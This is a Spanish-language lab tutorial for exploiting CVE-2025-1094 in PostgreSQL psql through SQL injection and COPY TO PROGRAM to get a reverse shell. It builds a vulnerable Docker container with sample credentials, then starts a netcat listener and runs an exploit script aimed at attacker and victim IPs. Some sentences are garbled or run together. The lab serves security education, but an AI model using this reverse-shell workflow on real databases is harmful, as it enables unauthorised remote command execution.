
Laboratorio práctico para explotar CVE-2025-1094, una inyección SQL en PostgreSQL psql que conduce a RCE mediante COPY TO PROGRAM, con configuración de Docker y payload de reverse shell.
⚠️ Aviso legal
Este laboratorio es solo con fines educativos y de investigación.
NO utilice ninguna de las técnicas o información aquí demostradas en sistemas que no sean de su propiedad o para los que no tenga permiso explícito de prueba. El uso no autorizado de estos métodos puede violar leyes y conllevar sanciones graves.
CVE-2025-1094 es una vulnerabilidad crítica que afecta a la herramienta interactiva psql de PostgreSQL, descubierta en la versión 14.15 y anteriores.
Permite a los atacantes realizar inyección SQL que puede derivar en ejecución remota de código (RCE) bajo ciertas condiciones.
La vulnerabilidad surge del manejo inadecuado de entradas UTF-8 malformadas en psql.
Debido a una validación insuficiente, los atacantes pueden inyectar SQL arbitrario o meta-comandos como ! (escape de shell), e incluso explotar COPY ... TO PROGRAM para ejecutar comandos del sistema.
COPY TO PROGRAM: Los atacantes pueden ejecutar comandos de shell arbitrarios, como:
/etc/passwd)psql con entradas no confiables (por ejemplo, BeyondTrust PRA, Remote Support) está especialmente expuesto.Instalar Docker:
sudo apt update
sudo apt install -y apt-transport-https ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg
echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
sudo apt update
sudo apt install -y docker-ce docker-ce-cli containerd.io
sudo systemctl enable --now docker
sudo usermod -aG docker $USER
👉 Reinicie o cierre sesión e inicie sesión de nuevo para aplicar los permisos del grupo Docker.
Instalar Python y dependencias:
sudo apt install -y python3 python3-pip python3-psycopg2 netcat-traditional
✅ Asegúrese de que exista conectividad de red entre las máquinas atacante y víctima.
docker pull postgres:14.15
docker run --name vulnerable_postgres -e POSTGRES_USER=postgres123 -e POSTGRES_PASSWORD=StrongP@ssWord -e POSTGRES_DB=labdb -p 5432:5432 -d postgres:14.15
docker exec -i vulnerable_postgres psql -U postgres123 -d labdb <<EOF
CREATE TABLE users (
id SERIAL PRIMARY KEY,
username TEXT,
password TEXT
);
INSERT INTO users (username, password) VALUES ('admin', 'password123');
EOF
Después de iniciar el contenedor, verifique que todo funcione con los siguientes comandos:
1. Compruebe que el contenedor de PostgreSQL está en ejecución:
sudo docker ps
📌 Debería ver un contenedor llamado vulnerable_postgres escuchando en el puerto 5432.
2. Acceda al contenedor e inspeccione la base de datos:
sudo docker exec -it vulnerable_postgres psql -U postgres123 -d labdb
Dentro del shell de psql, ejecute:
SELECT * FROM users;
Salida esperada:
id | username | password
----+----------+-------------
1 | admin | password123
(1 row)
Salga de psql:
\q
✅ Ahora su instancia vulnerable de PostgreSQL está en ejecución y lista para la explotación.
3. Vuelva a encender el contenedor
sudo docker start vulnerable_postgres
nc -lvnp 4444
python3 exploit.py <Victim_IP> <Attacker_IP> <Attacker_PORT>
[*] Connecting to PostgreSQL server...
[+] Connected successfully!
[*] Sending payload...
[✓] Payload executed! Check your Netcat listener for a shell.
COPY ... TO PROGRAM para ejecutar comandos de shell arbitrarios💡 Consejo: Puede crear una instantánea de este contenedor vulnerable y reutilizarla más adelante sin tener que reconstruir el entorno.